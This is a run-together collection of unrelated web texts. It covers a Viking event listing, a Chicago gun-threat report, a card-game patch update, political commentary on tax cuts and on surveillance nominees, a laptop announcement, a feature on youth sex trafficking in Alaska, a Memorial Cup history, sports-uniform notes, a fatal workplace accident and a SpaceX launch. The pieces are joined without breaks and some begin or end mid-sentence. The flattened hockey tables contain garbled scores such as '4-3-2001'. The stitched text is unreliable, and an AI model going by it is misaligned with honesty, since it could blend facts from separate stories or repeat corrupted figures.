Visitors can take part in a children's authentic Viking battle drill and take on the real Vikings in a sword fight, help by adding a stitch to the epic Medieval tapestry, learn to write in runes, shoot real arrows from a traditional long bow, try on chain mail and helmets, see the Dark Age Blacksmith at work.
Tickets are £5 adults £2 children £10 family pass (2 adults 2 children) available at the door or online.
Belfast Telegraph DigitalGeorge Morgan (inset) allegedly threatened a postal carrier with a gun after the two locked eyes. View Full Caption Chicago Police/Shutterstock
WEST RIDGE — A U.S. Postal carrier told police that a man pulled a handgun from his girlfriend’s purse and threatened to shoot him while he delivered mail in West Ridge.
Rogers Park District police officers responding to the carrier’s 911 call at 1:50 p.m. on March 13 arrested George Morgan, 21, of the 6200 block of North Richmond Street, and charged him with aggravated assault with a handgun, according to a police report of the incident.
Morgan was taken into custody in an alley off the 2500 block of West Lunt Avenue, near where the mail carrier was threatened, police said. During the arrest, officers did not find the handgun allegedly used in the incident in the woman’s purse, according to the report.
The mail carrier, who was not named in the report, called police after Morgan allegedly pulled the gun from a woman’s bag and pointed it at him. The postal employee, who was in uniform, said he had looked both ways before crossing the street on Lunt Avenue just south of Indian Boundary Park when he accidentally caught Morgan’s eye.
“What the f--- you looking at!?” Morgan shouted from across the street as he went for the gun, according to the report. “You want me to shoot you up!?”
The mail carrier said he grabbed his phone to call 911 when Morgan stuffed the gun back into his girlfriend’s bag and both ran away. Despite not finding the weapon, Morgan was charged after the mail carrier identified him as the man who had made the threat.
For more neighborhood news, listen to DNAinfo Radio here:HEX Update – Pack Crackin
Hi HEXers! It’s Weekly Update with your favorite game development team! We have an update on patch v825, pack opening, treasure chests, and a message from Shaggy to our community.
Exterminators
In testing patch v825, our team encountered a bug that they are currently tracking down. Therefore, we are not patching this week as our team dedicates their time to fixing that issue. Once we have that problem identified and fixed, we will release v825 that includes some new cards, stability fixes, and more. Update: We will be patching today at 4 PM Pacific (12:00 GMT) with v825. Servers will be down for 2 hours.
Pack Cracking
Yesterday, Cory revealed the progress our artists have made on the pack opening and treasure chests. Congratulations, art team! Please keep in mind that these are in-progress so they’ll be even better when they’re done!
When you open a pack, it goes into an altar that’s in the form of Kismet, the primal of fate. Your cards come out of her magical waters and turn over, revealing the contents of that pack. Your final card, either rare or legendary, will glow and you’ll click on that card to reveal it. Watch the video below to see the animation.
If you’re worried that opening all your packs would take too long, we will have a feature where you can open multiple packs at once.
Each booster pack comes with a treasure chest that’s one of four quality level: common, uncommon, rare, or legendary. You can open the treasure chest for your reward at any time. But, what about that gold you’ve been earning from completing quests and clearing dungeons? You can spend some gold and spin the Wheels of Fate to win other rewards, plus potentially upgrade the quality level of your treasure chest. Check out the video below for the Wheels of Fate preview.
What items can be found in treasure chests? Players will find a variety of items in chests from gold to booster packs! Exclusive alternate art cards can also be found in treasure chests, and you can see HEX Engine below.
Community Manager
Hey HEXers Shaggy here,
I am sad to say that my time as the community manager for HEX is coming to an end. I have had an amazing time interacting with the community each day, it has literally been a dream come true. However, my fiancé and I have been offered a wonderful opportunity back home and after much consideration we have decided it’s the best option for our family. This was an unbelievably hard decision for us to make, I have made so many friends during my short time at Cryptozoic and let me say there is no better team of people to work with. Their dedication to not only HEX but its community is second to none, this game is in great hands and I for one can’t wait to see where it goes as a player.
While I will no longer be the CM for HEX, I will continue to be a part of the community and help with any community function I can. We will be looking for a new community manager soon, with such an amazing pool of players to choose from, it will be easy finding that great person to give the community the attention it deserves. Thank you all for making my time here magnificent; it has truly been a blessing to be your player representative!
-Shaggy
We’re looking for a Community Manager to continue the Patch Breakdowns, create a weekly HEX stream, help our teams communicate with HEX fans, and be a representative for the players. You can see the job listing here and if you applied last year, we still have your application on file.
That’s all from us this week. Thanks again for your continued support of HEX. Please leave any questions or comments in the forums linked below, and don’t forget to Like us on Facebook, Follow us on Twitch, register on our forums, and Follow us on Twitter.
Discuss this article in our forums!As Republicans continue to line up to criticize House Republicans’ tactics on the payroll tax cut, we can ad GOP lobbyist and former Reagan aide Ed Rogers to the list. (thanks to F.B. for the tip)
We seem to have put President Obama in a win-win position…. The only people House Republicans have over a barrel are other Republicans. We are even about to make Obama a legitimate tax cutter.
I’m glad Rogers is giving his party’s House leadership good advice, and I certainly hope Boehner, Cantor, & Co. follow it, but what does Rogers mean by “about to make Obama a legitimate tax cutter”?
Isn’t he already a legitimate tax cutter?
I’m reminded of this recent item from the Center for American Progress’ Michael Linden and Michael Ettlinger.
If you had to guess whether President George W. Bush or President Barack Obama cut taxes more in his first term, which one would you choose? Probably President Bush, right? After all, the “the Bush tax cuts” were massive. And President Obama is the one calling for the expiration of some of those tax cuts. He’s also pushing for more revenue as we try to address our long-term fiscal imbalance. Given all that, you could be forgiven for guessing that President Bush is the bigger tax cutter. But you’d actually be wrong. By the end of his first term, President Obama will have signed into law a series of tax cuts that, taken together, exceed the value of those signed into law by President Bush.
This image captures the point in stark terms:
And yet, this appears to be a well-kept secret. As Ed Rogers suggests, Obama is not yet “a legitimate tax cutter.”
A few weeks before the 2010 midterms, the NYT had a fascinating item, noting voters who received tax cuts, but who were certain Obama had raised their taxes. It wasn’t even close to true, but their perceptions were clouded by nonsense.
In fact, I also remember shortly after Obama’s 2010 State of the Union address, the right seemed annoyed that the president noted the tax cuts he and congressional Democrats had approved. National Review ran one piece that said Obama “strained credulity” with the claim about tax cuts. The same magazine ran another item insisting, “If the taxes of 95 percent of Americans actully [sic] had been cut, surely somebody other than Obama would have noticed.”
For the right, this is somehow a subjective question. Whether Obama cut taxes seems to be a matter of opinion. Sure, the president says he cut taxes for millions of Americans, but since people didn’t really notice, the argument goes, then maybe it didn’t happen.
Whether it’s widely realized or not, it did happen. We can debate whether Obama’s tax cuts were wise or effective, but no matter what House Republicans do over the next 9 days and 10 hours, there is no debate as to whether Obama is a “tax cutter.”ROG Strix just debuted its first motherboard - ROG Strix X99 Gaming, and now the new ROG Strix line welcomes its first gaming laptop and wireless gaming headset for ultimate gaming on the go. ROG Strix GL502 is a 15.6-inch gaming laptop created for a perfect balance of gaming prowess and portability, while ROG Strix Wireless brings gamers big sound with no strings attached - literally.
ROG Strix GL502
Many consider a 15-inch laptop as the sweet spot for portable gaming, since it has the biggest display possible while stilll being able to fit in virtually any backpack, most importantly - to carry around with ease. ROG Strix GL502 features such a size with a 15.6-inch, and utilizes an awesome non-glare IPS (in-plane switching) display for true, accurate colors and wide 178-degree viewing angle. You can also opt for Full HD (1080p) or glorious 4K Ultra-HD. To power a 4K display (as you probably already know) requires hardware with a hefty punch, up to NVIDIA GeForce GTX 980M graphics with 8GB of GDDR5 video memory delivers exactly that. You'll be ready for the latest DirectX 12 games, while G-SYNC synchronizes the display’s refresh rate with the GPU to reducing lag, minimizing frame-rate stutter, and eliminating visual tearing.
GL502 is just 23.5mm thick and weighs only 2.2kg! Even so, it is powered by the latest-generation quad-core Intel Core i7 processor, up to 32GB of high-performance 2,133MHz DDR4 RAM, and up to 512GB M.2 NVM Express (NVMe) PCIe x4 SSD in tantem with an up to 2TB HDD so you have both blazingly fast performance and large storage capacity. An exclusive cooling system makes all this possible, incorporating copper heat-pipes and dual fans that cool the CPU and GPU independently to maximize cooling efficiency for system stability - even when running the most hardware-intensive games.
ROG Strix Wireless
The ROG Strix Wireless gaming headset provides big sound with the freedom to play games without getting freaked out by some weird slithering creature on your lap or arm. Using 2.4GHz wireless technology along with a dual, auto-switching antenna design, freedom doesn't have to come with compromise. A stable, interference-free wireless connection and an up to 15-meter transmission range gives you the confidence to go wireless, hassle free. The rechargeable 900mAh battery in tandem with low power-consumption technology equate to more than 10 hours of uninterrupted fun after each full charge, although we can't possibly recommend anyone to play for that long without a break anyway.
The exclusive Sonic Studio audio software lets you enjoy 7.1 virtual surround sound for even more gaming immersion, and allows for full control over the equalizer and sound level in each audio channel. Personalize the sound how you like it, and know where your enemies are before you see them.
ROG Strix Wireless comes with a cable allowing you to connect it to your PlayStation 4 or Xbox One consoles, smartphone, or tablet. A 1.5m Y-cable extension is also included in case you forget to charge the headset, wired or wireless - it's your choice.
Hit the PR button below for more details!This is (unfortunately) not a huge surprise, but it appears that a Trump administration is going to be much worse for civil liberties and surveillance. Earlier today, Donald Trump named his choices to head the CIA — Rep. Mike Pompeo — and to be the next Attorney General — Senator Jeff Sessions — and both have terrible records on surveillance, civil liberties and whistleblowing. They also are problematic in other areas, but in the areas where we cover, it’s not looking good.
Let’s start with Pompeo. In an op-ed piece for the Wall Street Journal back in January of this year, Pompeo called for expanding surveillance powers rather than limiting them. He criticized the USA Freedom Act and any other attempt to even moderately cut back on surveillance and said we had to go the other direction, claiming “What’s needed is a fundamental upgrade to America’s surveillance capabilities.”
Congress should pass a law re-establishing collection of all metadata, and combining it with publicly available financial and lifestyle information into a comprehensive, searchable database. Legal and bureaucratic impediments to surveillance should be removed. That includes Presidential Policy Directive-28, which bestows privacy rights on foreigners and imposes burdensome requirements to justify data collection.
While (at least) that same editorial did say that a backdoor on encrypted products “would do little good,” he’s no fan of encryption. He just thinks that if you use it, it should be considered a “red flag” that you’re up to no good:
There has been much debate about whether providers of communications hardware and software in the U.S. should be obliged to give the government backdoor access. Such a mandate would do little good, since terrorists would simply switch to foreign or home-built encryption. New technologies can cloak messages in background noise, rendering them difficult to detect. Forcing terrorists into encrypted channels, however, impedes their operational effectiveness by constraining the amount of data they can send and complicating transmission protocols, a phenomenon known in military parlance as virtual attrition. Moreover, the use of strong encryption in personal communications may itself be a red flag.
In another opinion piece for the National Review, he attacks reformers and those who support Ed Snowden while announcing his own bill to give the NSA greater surveillance powers:
Those who today suggest that the USA FREEDOM Act, which gutted the National Security Agency’s (NSA) metadata program, enables the intelligence community to better prevent and investigate threats against the U.S. are lying. I use that word intentionally, because these candidates know better. Less intelligence capacity equals less safety. To share Edward Snowden’s vision of America as the problem is to come down on the side of President Obama’s diminishing willingness to collect intelligence on jihadis. No Republican candidate who does that is worthy of our vote. I have just introduced the Liberty through Strength Act II in the House of Representatives to restore the NSA’s tools. We cannot expect our intelligence professionals to prevent terrorist attacks while handcuffing them at the same time.
Just to be extra clear: Pompeo doesn’t just dislike Ed Snowden, he has declared him a traitor who should be “given a death sentence.”
It’s absolutely the case that we have not been able to secure all the American information that we needed to, and that we’ve had the traitor Edward Snowden steal that information. He should be brought back from Russia and given due process, and I think the proper outcome would be that he would be given a death sentence for having put friends of mine, friends of yours, who served in the military today, at enormous risk, because of the information he stole and then released to foreign powers.
Pompeo has also defended the CIA’s torture program against critics:
“These men and women are not torturers, they are patriots,” and, “The programs being used were within the law, within the constitution.”
There’s also the fact that Pompeo has basically no experience in the intelligence community. He was an Army officer and a businessman, only entering Congress a few years ago. In that link, Motherboard quotes someone from the intelligence community questioning how Pompeo is qualified to run the CIA:
“None of us believe that a couple of years in the Army followed by sitting on a committee in Congress qualifies anyone for any position in the CIA, much less as the Director,” a former military officer who also worked in the intelligence community told Motherboard on condition of anonymity. “We believe that the ongoing nepotism used to select unqualified and in some cases, dangerous people for leadership in these key positions may well lead to a catastrophic failure for the United States.”
So, yes, here’s someone with little actual experience in intelligence, but who is absolutely sure the answer is greater surveillance of Americans, and who supports programs that have been declared to be torture. And they’re putting him in charge of the CIA.
On to Sessions. He’s also a huge supporter of increased surveillance, and not a fan of civil liberties. Going back a decade ago, Sessions very publicly supported President George W. Bush’s surveillance programs that included warrantless wiretapping of Americans.
“This is a reasonable assertion of executive power, and it’s more than an academic discussion,” Sessions said. “There are 3,000 Americans who have no civil rights today because they were killed as a result of communications from foreign terrorist organizations who called in to sleeper cells who then carried out the catastrophic 9/11 attacks. President Bush’s surveillance program authorizes only an intercept of an international call or email in which one of the parties is connected to al Qaeda. I think the terrorist surveillance program is a reasonable response.”
For what it’s worth, Sessions is wrong here. The surveillance program — as we later learned — enabled much, much, much more than that, and included mass surveillance on the communications data of millions of Americans. And the “connection to Al Qaeda” was expanded to include many hops away, and much more than Al Qaeda. But as far as I can tell, Sessions never admitted that his statement was wrong or changed his views on Presidential surveillance powers. Just this year, Sessions spoke out against encryption on mobile phones in discussing the legal fights between Apple and the FBI:
Senator Jeff Sessions of Alabama questioned Cook’s position. “Coming from a law enforcement background, I believe this is a more serious issue than Tim Cook understands,” Sessions said. He said accessing phones is critical to law enforcement. “In a criminal case, or could be a life and death terrorist case, accessing a phone means the case is over. Time and time again, that kind of information results in an immediate guilty plea, case over,” Sessions said. He added that the ability for government to access a phone should not be abused.
He’s also spoken out vehemently against NSA reform that limits surveillance, complaining about the very modest changes in the USA Freedom Act.
In 2006, the National Security Agency transitioned the bulk telephone-metadata acquisition program authorized under the president’s Terrorist Surveillance Program to the business-records court-order authority of Section 215. Since shortly after 9/11, this program has been helping to keep Americans safe by acquiring non-content call records, i.e., telephone numbers and the date, time, and duration of a call. This program has yielded invaluable intelligence that has helped prevent attacks and uncovered terrorist plots. Nevertheless, the Obama administration has built up unnecessary barriers that sacrifice the fragile operational efficiency of the program without actually accomplishing anything in terms of data security.
He claimed this despite the fact that this article was published years after it had been revealed that the government had never relied on the Section 215 data to save lives, and even where it was used, other means were used to stop any kind of attack.
On top of that, just recently, Sessions tried to massively expand the surveillance powers of the Justice Department, in an amendment he tried to attach to ECPA (Electronic Communications Privacy Act) Reform. We’ve been calling for ECPA Reform for many, many years, but to stop warrantless surveillance and data collection. But Sessions’ plan was to make it even easier for law enforcement to get data, so long as they “declared it was an emergency.”
A provider of electronic communication service or remote computing service shall disclose to a governmental entity a wire or electronic communication (including the contents of the communication) and a record or other information pertaining to a subscriber or customer if a representative of the governmental entity reasonably certifies under penalty of perjury that an emergency involving the danger of death or serious physical injury requires disclosure without delay.
And, the thing is, many companies will help out law enforcement voluntarily in such situations. But Sessions was trying to make it mandatory, which would be massively abused.
And that doesn’t even touch on Session’s horrific history concerning civil rights, which generally doesn’t bode well for his views on related civil liberties.
I know that we’d heard from some Trump supporters telling us that they believed he wouldn’t be as bad on surveillance as Obama or Bush. But, so far, it certainly looks like he’s worse, given who he is planning to appoint.Alaska has a disproportionate rate of young homeless people being trafficked for sex. For Heidi Ross, it began with running away from home
Heidi Ross was a senior in high school when she hitchhiked from the Anchorage suburb of Eagle River into the city, leaving a dark childhood behind.
“I didn’t have anywhere to go,” she said of that day, around 20 years ago. “I had the clothes on my back.”
After she arrived, without a way to pay rent, she soon found herself trading sex for a place to stay. Next she traded sex for drugs. Using sex to get things she needed made her feel powerful, she said. At 21, she went to work for a pimp who promised to take care of her.
“It felt strange at first, because I was so used to taking care of myself,” she said. “It felt good. It felt like a piece was missing and it had finally come back.”
Ross said sex work became her “lifestyle”. Eventually, however, she would be the one exploiting young men and women as adrift as she was on that ride into Anchorage.
Sexual exploitation has been an undercurrent of the state’s male-dominated frontier culture since Russian explorers first came to the region, and men flocked to the state during the Gold Rush. Law enforcement, prosecutors and victim advocates have long suspected the state has a high rate of sex trafficking, but the problem has been largely unstudied. Recently, though, a small study of trafficking among homeless youth offered some data to support these suspicions.
Facebook Twitter Pinterest ‘I’ve never had a tattoo done professionally,’ Heidi Ross says. They were all done on the streets or in prison. This one, which reads ‘For the Love of It’, references both the love of money but also the love of life as a sex worker. Photograph: Ash Adams for the Guardian
In April, researchers at Loyola University New Orleans released statistics based on interviews with youths aged 17 to 25 at Covenant House youth shelters and other service centers in 10 cities across the country. They found that Anchorage had the highest percentage of respondents – more than one in four of the 65 interviewees – who reported being trafficked for sex or labor. The average among shelters was roughly one in five.
The definition of trafficking in the study is “exploitation of a person’s labor through force, fraud or coercion”. The study found that 27% of young women interviewed at the Anchorage shelter and 17% of young men reported being trafficked for sex. LGBT youth were more likely to be victims. Most of the youth who said they had been trafficked, or engaged in sex in exchange for housing, were homeless at the time.
There is a demand for sex and there are sexually vulnerable people who can be swooped up Josh Louwerse, youth engagement worker
Alaska consistently leads the nation in rates of child abuse, domestic violence, sexual assault, homelessness and substance abuse. Being a victim of violence or sexual assault or having a substance abuse problem increases the risk someone will be trafficked, said Josh Louwerse, youth engagement program coordinator at Covenant House in Anchorage. So does homelessness, he said.
According to Louwerse, every young client at the shelter has experienced trauma. Many have been victimized and abandoned by their parents and let down by government systems set up to protect them. About 40% of the youth served by the shelter serves have a mental health diagnosis. More that half are Alaska Native, some from villages in rural Alaska.
Alaska’s economy is built on a host of industries that employ younger, single men, including oil, fishing and the military, Louwerse said. A robust tourism industry also fuels the sex trade. “There is a demand for sex and there are sexually vulnerable people who can be swooped up and manipulated to deliver that sex,” he said. “We have all these places around the state that are essentially hubs.”
Facebook Twitter Pinterest Josh Louwerse, a youth engagement program coordinator, stands outside of Covenant House in downtown Anchorage. Photograph: Ash Adams for the Guardian
Jolene Goeden, an FBI agent who handles trafficking investigations, said her agency monitors sex ads online and sees an uptick during tourist season. People pay more for sex in Alaska than other places, she said, and she has seen cases where traffickers have brought women into the state for this reason. Alaska Native women can be attractive to traffickers because they can be marketed as several different races.
The cost of sex in Alaska is between $200 and $300 an hour, she said. Out-of-state traffickers might send several women there at a time. If each of them saw three clients in a day – a low estimate – it wouldn’t take long to cover hotel costs and airfare.
“Every day thereafter is all profit,” she said.
If you’ve never had somebody take notice of you, say you’re beautiful, you’re smart, you’ll do a lot to hold on to that Heidi Ross, sex trafficker
The high cost of housing in Alaska is also implicated in trafficking, she added. A person making minimum wage would have to work 75 hours a week to afford a one-bedroom apartment at market rent, according to the National Low Income Housing Coalition. “One of our biggest factors to overcome with the majority of victims, I would say, is stable housing and affordable housing,” she said. “I would say there is no such thing.”
In the years before she left home, Ross said, she was caring for her mother who suffered from schizophrenia. She worked late every night at the local movie theater and a Wendy’s to help pay bills. One day at school, she threw a book at a teacher and walked out. Not long after, she was in a stranger’s car headed for Anchorage.
“I couldn’t do it anymore,” she said. “I broke.”
She says that as the years passed, she took on administrative duties in sex businesses and had relationships with the pimps who ran them. She’s never had a boyfriend outside of the sex trade. Her longest-term relationship was with a violent pimp named Troy Williams.
Facebook Twitter Pinterest Heidi Ross walks down the stairs at the transitional housing facility in Anchorage, Alaska. Photograph: Ash Adams for the Guardian
Young people, Ross found, came to her from rough childhoods with nowhere to live, substance abuse problems and lots of emotional needs. She knew they weren’t afraid of getting physically hurt as much as they were afraid of being cut off, she said. They wanted love more than money. This was something she found she could take advantage of.
'A tableau of suffering': seaside city of San Diego faces a dark homelessness crisis Read more
“If you’ve never had somebody take notice of who you are and say you’re beautiful, say you’re smart, say you’re kind,” she said. “You’ll do a lot to hold on to that.”
Eventually she became a “lieutenant” in a trafficking business. In 2015, the state charged Ross and Williams with multiple counts related to sex trafficking. She is completing a brief sentence after pleading guilty to running an operation in exchange for fewer charges.
Williams, meanwhile, went to trial, where women testified about beatings, and about being denied food and forced into ice baths when they wouldn’t work. Ross says she never saw such treatment. Williams, who is also the father of her only child, was convicted on several counts and is awaiting sentencing.
Now 37 and using a new name she did not want to disclose, Ross is holding down a fast food job, hoping to regain custody of her son. She plans to move to Arizona and find employment in the restaurant business. Sex work is lucrative compared to the other kinds of work she’s qualified for, but she said she won’t go back.
“Because of what I would lose,” she said. “I want my son, I want out.”Welcome to Windsor! The 2017 Memorial Cup is about to begin and it has been a highlight of mine on the hockey schedule for years. The annual tournament crowns the national champion for junior hockey in Canada and this year marks the 99th tournament and we have five Tampa Bay Lightning prospects participating.
Where it all began
The Memorial Cup idea was introduced in 1917 when Kingston hockey booster and Ontario Hockey Association (1915-1917) president Captain Liam G. Carr wanted to establish a trophy honouring the former junior players who had died while serving their country. The Ontario Hockey Association voted unanimously in 1918 to help establish the trophy and tournament, and in 1919 the first battle for the cup was held.
Formats through the years
From 1919-1929 the champion was decided by having the best Western Canada team face off against the best Eastern Canada team in a two-game total goals tournament. Each champion was decided by play downs of league champions governed by the Canadian Amateur Hockey Association. In 1925 the rules were altered and the format was modified to a best of three series. This continued for another 10 years.
Numbers in parenthesis indicate number of championships won by franchise. New teams that took old names do not count towards these numbers.
Memorial Cup Champions - 1919-33 Year Champion Runner-Up Result Host Year Champion Runner-Up Result Host 1919 U. of Toronto Schools Regina Patricias 29-8 (Total Goals) Toronto 1920 Toronto Canoe Club Paddlers Selkirk Fishermen 15-5 (TG) Toronto 1921 Winnipeg Junior Falcons Stratford Midgets 11-9 (TG) Toronto 1922 Fort William Great War Vets Regina Patricias 8-7 (TG) Winnipeg 1923 U. of Manitoba Bisons Kitchener Colts 14-6 (TG) Toronto 1924 Owen Sound Greys Calgary Canadians 7-5 (TG) Winnipeg 1925 Regina Pats Toronto aura Lee 2-0 (Best of 3) Toronto 1926 Calgary Canadians Queen's University 2-1 Winnipeg 1927 Owen Sound Greys (2) Port Arthur West End Jrs 2-0 Toronto 1928 Regina Monarchs (Pats - 2) Ottawa Gunners 2-1 Toronto 1929 Toronto Marlboros Elmwood Millionaires 2-0 Toronto 1930 Regina Pats (3) West Toronto Nationals 2-0 Winnipeg 1931 Elmwood Millionaires Ottawa Primroses 2-1 Toronto & Ottawa 1932 Sudbury Club Wolves Winnipeg Monarchs 2-1 Winnipeg 1933 NewMarket Redmen Regina Pats 2-0 Toronto
In 1934 the CAHA divided junior hockey into 'A' and 'B' levels. Only 'A' teams could compete for the Memorial Cup. Jr. B would compete for the Sutherland Cup (which is still ongoing today). In 1938 the championship series became a best of 5, and in 1943 a best of 7. For the 1970-71 season junior hockey had another level added above Jr.A; Major Junior. The Memorial Cup would remain the trophy for the highest tier and Jr A would be awarded the Manitoba Centennial Trophy, now known as the RBC Cup.
Memorial Cup Champions 1934-71 Year Champion Runner-Up Result Host City Year Champion Runner-Up Result Host City 1934 Toronto St. Michael's Majors Edmonton AC Athletics 2-0 Winnipeg 1935 Winnipeg Monarchs Sudbury Club Wolves 2-1 Winnipeg 1936 West Toronto Nationals Saskatoon Wesleys 2-0 Toronto 1937 Winnipeg Monarchs (2) Copper Cliff Redmen 2-1 Toronto 1938 St. Boniface Seals Oshawa Generals 3-2 Toronto 1939 Oshawa Generals Edmonton AC Roamers 3-1 Toronto 1940 Oshawa Generals (2) Kenora Thistles 3-1 Winnipeg 1941 Winnipeg Rangers Montreal Royals 3-2 Toronto & Montreal 1942 Portage La Prairie Terriers Oshawa Generals 3-1 Winnipeg 1943 Winnipeg Rangers (2) Oshawa Generals 4-2 Toronto 1944 Oshawa Generals (3) Trail Smoke Eaters 4-0 Toronto 1945 Toronto St. Michael's Majors (2) Moose Jaw Canucks 4-1 Toronto 1946 Winnipeg Monarchs (3) Toronto St. Michael's Majors 4-3 Toronto 1947 Toronto St. Michael's Majors (3) Moose Jaw Canucks 4-0 Winnipeg, Moose Jaw, Regina 1948 Port Arthur West Wend Bruins Barrie Flyers 4-0 Toronto 1949 Montreal Royals Brandon Wheat Kings 4-3-2001 Winnipeg & Brandon 1950 Montreal Jr Canadiens Regina Pats 4-1 Toronto & Montreal 1951 Barrie Flyers Winnipeg Monarchs 4-0 Toronto, Barrie, Quebec City 1952 Guelph Biltmore Mad Hatters Regina Pats 4-0 Toronto 1953 Barrie Flyers (2) St. Boniface Canadiens 4-1 Winnipeg & Brandon 1954 St. Catharines Teepees Edmonton Oil Kings 4-0-1 Toronto 1955 Toronto Marlboros (2) Regina Pats 4-1 Regina 1956 Toronto Marlboros (3) Regina Pats 4-0-1 Toronto 1957 Flin Flon Bombers Ottawa-Hull Jr Canadiens 4-3 Flin Flon / Regina 1958 Ottawa-Hull Jr Canadiens (2) (Montreal Jr Canadiens) Regina Pats 4-2 Ottawa & Hull 1959 Winnipeg Braves Peterborough TPT Petes 4-1 Winnipeg & Brandon 1960 St. Catharines Teepees (2) Edmonton Oil Kings 4-2 St. Catharines & Toronto 1961 Toronto St. Michael's Majors (4) Edmonton Oil Kings 4-2 Edmonton 1962 Hamilton Red Wings Edmonton Oil Kings 4-1 Hamilton, Guelph, Kitchener 1963 Edmonton Oil Kings Niagara Falls Flyers 4-2 Edmonton 1964 Toronto Marlboros (4) Edmonton Oil Kings 4-0 Toronto 1965 Niagara Falls Flyers Edmonton Oil Kings 4-1 Edmonton 1966 Edmonton Oil Kings (2) Oshawa Generals 4-2 Toronto 1967 Toronto Marlboros (5) Port Arthur Marrs 4-1 Thunder Bay 1968 Niagara Falls Flyers (2) Estevan Bruins 4-1 Niagara Falls & Montreal 1969 Montreal Jr Canadiens (3) Regina Pats 4-0 Montreal & Regina 1970 Montreal Jr Canadiens (4) Weyburn Red Wings 4- |
who normally wears No. 47, was wearing No. 81 in an extended spring training game yesterday (from Steve King). ”¦ Logo-emblazoned stirrups yesterday for UMass. … I’ve long been a fan of the Tigers’ “Swinging Kitten” mascot. Turns out there’s also a sliding kitten, and they’re bringing him out for this T-shirt, which will be given away on June 16 as part of the team’s Children’s Health Night promotion. There are several other versions of the kitten, as you can see on the cover of the 1980 Tigers media guide. I’d love to see these designs get back into circulation. … New cap for the Iowa Cubs (from Zach James). … Louisville’s uniforms could probably use a re-think.
NFL News : Always fun to see an old photo of the Jags’ original prototype jersey (from Leo Strawn Jr.). ”¦ Here are the new uni numbers for the Titans’ rookies. One of those rookies, RB David Cobb, is a big Eddie George fan but will not wear No. 27 (from Eric Wright). ”¦ Speaking of the Titans, they’re redesignating their navy jersey as their primary this year, so it’s surprising to see that players participating in the team’s recent Titans Caravan events were wearing the Columbia blue jerseys (Eric Wright again). ”¦ Raiders draftee Amari Cooper has apparently changed uni numbers already, from 19 to 89 (from Brian Molinet). … New uni numbers for the 49ers’ rookies (thanks, Phil). ”¦ A fan at last night’s Mets/Cubs ballgame was wearing a Bengals-themed motorcycle helmet. When I tweeted that photo last night, everyone said, “The helmet is nothing — look at the jacket!” Okay, then: Look at the jacket (from Eric Wright). ”¦ Two uni-related notes buried within this Deflategate story: “Four men wearing Patriots jerseys were arrested during a sit-in at the NFL offices promoted by the Boston website Barstool Sports” and “Since the suspension was announced, sales of [Tom] Brady’s jersey have doubled, according to online retailer Fanatics.com.”
College Football News : Here’s a bunch of reimagined SEC helmet concepts (from Bryan Council). ”¦ Someone at Notre Dame PhotoShopped an Under Armour logo onto former Irish LB Kendall Moore. Moore only wore Adidas for Notre Dame (from Dirty McGirty). ”¦ New uniforms for Samford.
Hockey News : A reading of the tea leaves suggests that the Avalanche might be changing their jerseys (thanks, Phil). ”¦ Love the big patch on this British Columbia jersey. Pretty big “A,” too (from Jim Wooley).
NBA News : As of this morning, the new Clippers logo — the one I first reported on last month, although it hasn’t been officially acknowledged or released — was appearing on the front page of the NBA’s online shop. It’s not clear if this was a mistake, a concession to reality, or a tease, but it’s worth noting that the new logo has not yet appeared on the shop’s mobile site.
Soccer News : The Red Bulls have been giving out great posters at each match this season. As you can see, the most recent one is a breakdown of the team’s kit (from Andrew Muccigrosso). … Here’s a look at how the MLS’s rebrand is going. ”¦ Inter’s new jerseys have leaked (thanks, Phil). ”¦ In Ghana, they apparently refer to NOBs as being “embossed” on the jerseys. ”¦ New away kit for Olympique Lionnais. ”¦ New kit for Liverpool, too.Wayne police investigating incident on Dey Road
A man was killed while cleaning a concrete mixer at SBI Materials on Dey Road on Wednesday morning. (Photo: Tariq Zehawi/NorthJersey.com)
WAYNE — Officials are investigating a Wednesday morning industrial accident in which a man was killed while cleaning a concrete mixer on Dey Road.
According to police, at 9:53 a.m. emergency crews responded to a call from a motorist who was flagged down by SBI Materials subcontractors that someone was trapped in a concrete mixer.
On scene, officers found a man wedged between the rotating drum on the back of a concrete-mixer truck and the truck body. According to reports, the victim was cleaning out the concrete mixer, and somehow became trapped and was crushed.
The victim was pronounced dead at the scene, according to a statement from the Wayne Police Department. He has not yet been identified but was described as a 34-year-old man by police.
From the street at SBI Materials, the location of the accident, little was visible except the flashing lights of emergency vehicles and the top of a white concrete mixer deeper within the work area. Rain fell steadily as police and emergency vehicles came and went from the business’s front gate, which was monitored by workers in safety vests in the late morning hours.
Medical examiners were among officials responding Wednesday morning when a man was killed while cleaning out a concrete mixer in Wayne. (Photo: Tariq Zehawi/NorthJersey.com)
At 1:30 p.m., the Wayne Volunteer Fire Department assisted in removing the victim for confirmation and identification by the state medical examiner.
The Wayne Emergency Volunteer Memorial first-aid squad, the advanced life support team from St. Joseph’s Medical Center, the Occupational Health and Safety Agency and the Passaic County Prosecutor's Office also responded at the scene.
John Lynch, director of operations at SBI Materials said the victim was a subcontractor and expressed his condolences to the victim’s family.
He declined to comment further, citing the OSHA and police investigations.
Video surveillance tapes of the work area will be examined as a part of the continuing investigation by the Prosecutor's Office and the Wayne police.
SBI Materials is listed as a landscape and masonry supplies and equipment company
Email: presinzanoj@northjersey.com
Wayne firefighters at the scene Wednesday where a man was killed while cleaning a concrete mixer. (Photo: Tariq Zehawi/NorthJersey.com)
Read or Share this story: http://northjersy.news/2lyTIXUSpaceX made a fourth – and successful – attempt to launch its Falcon 9 v1.1 – tasked with orbiting six OG2 satellites for Orbcomm’s second generation constellation – on Monday. The latest attempt – from Space Launch Complex 40 (SLC-40) at Cape Canaveral – launched at 11:15 am local time, following a slight delay due to Ground Support Equipment (GSE) issue.
Falcon 9 v1.1 Mission:
SpaceX’s first Orbcomm launch consisted of a single satellite deployed as a secondary payload to the CRS-1 Dragon mission to the ISS in October 2012.
This ended in failure after a first stage engine malfunction left the rocket unable to reach the Orbcomm’s designated deployment orbit, despite unloading its Dragon payload successfully.
As a result the satellite was left in an unusable orbit from which it quickly decayed, unable to fulfil its mission. This anomaly, overall a partial failure, remains the only blemish on the Falcon 9’s launch record.
Eighteen Orbcomm Generation 2 (OG2) satellites have been produced; of these one was lost in the 2012 failure, six are aboard this launch, with the remaining eleven expected to fly together aboard a single Falcon 9 later this year.
Orbcomm has options for up to thirty more satellites which can be produced for replenishment or to increase the size of the constellation should it be necessary.
The prime contractor for the program is the Sierra Nevada Corporation, with Argon ST of Virginia producing their communications subsystems.
